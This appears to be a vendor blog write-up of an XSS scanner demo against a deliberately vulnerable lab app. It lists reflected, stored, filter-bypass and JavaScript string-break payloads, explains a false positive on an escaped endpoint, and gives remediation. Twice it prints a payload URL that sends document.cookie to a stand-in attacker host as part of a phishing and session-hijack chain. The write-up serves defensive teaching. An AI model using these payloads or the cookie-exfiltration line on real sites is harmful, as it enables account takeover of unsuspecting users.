SecurityClaw Found 4 XSS Vulnerabilities in Under Half a Second — And One False Positive That's Even More Useful
We gave SecurityClaw's xss-scanner a web app with 5 endpoints, told it
nothing about the implementation, and let it run. 443 milliseconds
later: 4 real vulnerabilities — CRITICAL reflected XSS, HIGH stored XSS, HIGH filter bypass,
MEDIUM DOM injection. Then it flagged a fifth endpoint. We had deliberately secured that one.
The scanner called it vulnerable anyway. Here's why that false positive is the most
important result in this entire campaign.
The Complete Results
| ID | Severity | Endpoint | Type | Result |
|---|---|---|---|---|
| XSS-01 | CRITICAL | /search?q= |
Reflected XSS | 11/11 payloads — all payload types execute |
| XSS-02 | HIGH | POST /feedback |
Stored XSS | Payload persists and executes for every subsequent visitor |
| XSS-03 | HIGH | /comment?text= |
Filter bypass | 10/11 payload types bypass the filter |
| XSS-04 | MEDIUM | /profile?username= |
DOM injection | JS string break via quote injection in user context |
| FP-01 | FALSE POSITIVE ✅ | /safe-search?q= |
markupsafe-escaped | 11/11 scanner flags — 0/11 real vulnerabilities (explained below) |
55 total payload tests across 5 endpoints. 44 genuine vulnerability hits. 11 false positive hits on the one endpoint we deliberately secured. Detection rate on vulnerable endpoints: 100%. False positive rate: 1 endpoint out of 5. Total scan time: 443 milliseconds.
XSS-01 (CRITICAL): Reflected XSS — Every Payload Executes
The /search?q= endpoint takes user input and reflects it directly into the
HTML response without any encoding. SecurityClaw tested 11 payload types. All 11 executed:
<script>alert(1)</script>— classic script tag injection<img src=x onerror=alert(1)>— image error handler<svg onload=alert(1)>— SVG load event<body onload=alert(1)>— body event handler"><script>alert(1)</script>— attribute break + injection- And six additional event-handler and protocol variants
The application renders search results with the query term in the page title: "Results for: [user input]". Zero sanitisation. Zero encoding. The full query string goes into the HTML template raw. Every payload type that a browser will execute — executes.
For an attacker, this is a one-step account takeover setup:
# Craft the payload URL
https://acmecorp.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
# Send to victim via phishing email
# Victim clicks → their session cookie exfiltrated to evil.com
# Attacker uses cookie → full account access, no password needed
XSS-02 (HIGH): Stored XSS — One Submission, Every Visitor Affected
The POST /feedback endpoint saves user-submitted content to the database
and displays it on the feedback page — without encoding. SecurityClaw submitted a single
stored payload. Every subsequent request to the feedback page executed it.
Stored XSS is categorically worse than reflected XSS for one reason: it doesn't require the victim to click a crafted link. The payload is already in the page. Anyone who loads the feedback section — customers, support staff, administrators — automatically executes the attacker's JavaScript.
For bug hunters targeting SaaS applications, stored XSS in admin-facing panels is a critical-severity finding: it affects privileged users, executes in a privileged session context, and persists until manually removed. A stored payload that redirects admin cookies to an attacker server gives admin account access to every person who loads the admin panel.
XSS-03 (HIGH): Filter Bypass — The "I Block Script Tags" Problem
The /comment?text= endpoint has a sanitisation filter. SecurityClaw detected it
and tested 11 bypass techniques. Ten of them worked. The filter blocks exactly one pattern:
the literal string <script>.
# Blocked (the one pattern the developer thought to block):
/comment?text=<script>alert(1)</script> → filtered
# Bypassed (the other 10 payload types):
/comment?text=<img src=x onerror=alert(1)> → executes ✅
/comment?text=<svg onload=alert(1)> → executes ✅
/comment?text=<body onload=alert(1)> → executes ✅
/comment?text=<a href="javascript:alert(1)">click</a> → executes ✅
/comment?text=<div onfocus=alert(1) autofocus> → executes ✅
# ... and five more
This is the fundamental problem with filter-based sanitisation: it's a blocklist of what
you've already thought of. HTML has hundreds of event handlers across dozens of element types.
onerror, onload, onfocus, onmouseover,
onclick, onkeydown — any element attribute beginning with on
can carry JavaScript in a browser that renders it. A filter that blocks <script>
and misses onerror provides theatre, not security.
The correct approach is output encoding: escape every character that has special meaning in HTML context on the way out, not blocking patterns on the way in. Libraries like markupsafe (Python), DOMPurify (JavaScript), and OWASP's Java Encoder handle this correctly. The key word is correctly — as the FP-01 section below demonstrates.
XSS-04 (MEDIUM): DOM Injection via JavaScript String Break
The /profile?username= endpoint writes user input directly into a JavaScript
string variable in a <script> block:
// Server-rendered output (vulnerable):
<script>
var username = "alice"; // username comes from URL parameter
displayWelcome(username);
</script>
Inject a quote and the string context breaks:
# Input: alice";alert(1);//
# Rendered output:
<script>
var username = "alice";alert(1);//";
displayWelcome(username);
</script>
The quote closes the string. alert(1) executes as a JavaScript statement.
The // comments out the rest of the line. The browser executes the injected code.
DOM injection is rated MEDIUM here because the username parameter has length constraints that limit payload complexity — attackers can trigger execution but carrying sophisticated payloads requires chaining with a resource load. In applications without length constraints, DOM injection is functionally equivalent to reflected XSS in impact.
FP-01: The False Positive — And Why It's the Most Important Result
SecurityClaw flagged /safe-search?q= as vulnerable. It isn't. We built it
correctly on purpose, using markupsafe — Python's standard HTML escaping library. The scanner
fired 11 flags on 11 payload tests. Every single one was a false positive.
Here's exactly why:
# What the attacker submits:
/safe-search?q=<script>alert(1)</script>
# What markupsafe produces in the response:
Results for: <script>alert(1)</script>
# What the browser renders:
Results for: <script>alert(1)</script> ← displayed as text, not executed
The scanner's secondary detection method checks whether alert(1) appears anywhere
in the response body. After markupsafe escapes the payload, the angle brackets become
HTML entities (< and >) — but the text alert(1)
is still present, unmodified, between those entities. The scanner sees alert(1)
in the response. It flags it as a hit. The browser sees a text string. It doesn't execute anything.
What the Scanner Got Wrong
The scanner uses two detection methods:
- Primary (correct): Is the raw payload reflected in the response verbatim — including unescaped angle brackets? This correctly identifies XSS-01, XSS-02, XSS-03, XSS-04.
- Secondary (flawed): Does
alert(1)appear anywhere in the response? This fires on escaped output wherealert(1)text is present but not executable.
Method 2 is the false positive source. A more sophisticated scanner would check that
< appears unescaped before the payload, or use a headless browser
(Playwright, Puppeteer) to test whether the JavaScript actually executes in DOM context.
SecurityClaw can add headless browser verification as a confirmation step. This demo
is why that feature exists on the roadmap.
Why We're Leading With the False Positive
Because this is the most important thing this campaign teaches: automated scanners triage vulnerabilities, they don't confirm them.
Every SecurityClaw flag is a hypothesis. The scanner says: "this endpoint showed behaviour consistent with XSS." A human must then verify whether that hypothesis is correct. In this demo, the scanner was right 44 times and wrong 11 times. A security professional who acts on every scanner flag without verification will waste time chasing FP-01. A security professional who dismisses scanner flags without verification will miss XSS-01 through XSS-04.
The correct workflow: scanner finds candidates, human confirms exploitability, team prioritises remediation by confirmed severity. Scanners are fast. Humans are accurate. Neither is sufficient alone.
"We ran 55 tests. 44 real hits. 11 false positives — all on the one endpoint we deliberately secured. That's a useful result. The false positive tells you what the scanner can't see. Knowing the boundary is half the job."
The Attack Chain
D20 sits at the exploitation stage of the SecurityClaw recon-to-account-takeover chain:
-
D16 (ffuf)
— discovers
/search,/comment,/feedback, and/profileendpoints in 2.0 seconds. Finds the target surface. -
D20 (xss-scanner) — confirms XSS in all 4 vulnerable endpoints in 443ms.
CRITICAL reflected XSS on
/searchis the primary attack surface. -
Attacker crafts payload:
https://acmecorp.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> - Phishing delivery: Link sent to target user. Victim clicks. Cookie exfiltrated.
- Session hijack: Attacker replays stolen cookie. Full account access. No password. No second factor required (session tokens bypass MFA in most implementations).
The stored XSS on /feedback skips step 4 entirely — no phishing needed.
Submit once; compromise every visitor automatically.
Remediation
| Finding | Fix |
|---|---|
| XSS-01 Reflected / XSS-02 Stored | Use a templating engine with autoescaping enabled (Jinja2, Django, React JSX, Angular). Never concatenate user input into HTML manually. Apply output encoding at render time, not input time. |
| XSS-03 Filter bypass | Replace the blocklist filter with markupsafe, DOMPurify, or OWASP Java Encoder. Allowlist safe HTML elements if rich content is needed; default to full escaping. |
| XSS-04 DOM injection | Never write user-controlled data directly into JavaScript string contexts. Use JSON.stringify() for data injection into script blocks, or pass data via data-* attributes and read with dataset. |
| All XSS | Set Content-Security-Policy header to restrict script sources. Set HttpOnly flag on session cookies to prevent JavaScript access (blocks the cookie-theft attack chain). These are defence-in-depth — fix the injection first. |
For the definitive reference on XSS, injection attacks, and defensive coding practices, Hacking APIs covers injection vulnerabilities across the full API attack surface. For a broader penetration test methodology context, The Hacker Playbook 3 includes XSS exploitation techniques within complete engagement case studies.
SecurityClaw Scorecard: D20
| Metric | Value |
|---|---|
| Tool | SecurityClaw xss-scanner |
| Endpoints tested | 5 |
| Total payload tests | 55 (11 payload types × 5 endpoints) |
| Genuine vulnerability hits | 44 / 55 |
| False positive hits | 11 / 55 (all on /safe-search — markupsafe false alarm) |
| CRITICAL findings | 1 (XSS-01 reflected — 11/11 payloads) |
| HIGH findings | 2 (XSS-02 stored; XSS-03 filter bypass — 10/11 payloads) |
| MEDIUM findings | 1 (XSS-04 DOM injection) |
| False positive | 1 endpoint (markupsafe — properly escaped, not vulnerable) |
| Total scan time | 443ms |
| TDD tests | 24 / 24 ✅ |
| Campaign ID | 35 |
| Campaign result | PASS |
| Overall scorecard after D20 | 29/32 campaigns = 90.63% |
443 milliseconds. 4 real vulnerabilities. 1 honest false positive with a precise
technical explanation of why it fired. The CRITICAL reflected XSS on /search
is a one-click account takeover. The stored XSS on /feedback is a passive
compromise that affects every visitor. The filter bypass on /comment is a
textbook demonstration of why blocklists fail.
The false positive on /safe-search is a feature, not a gap. It tells you
exactly where the scanner's confidence ends and human verification begins. The boundary
of automation is where the skill of a security professional starts.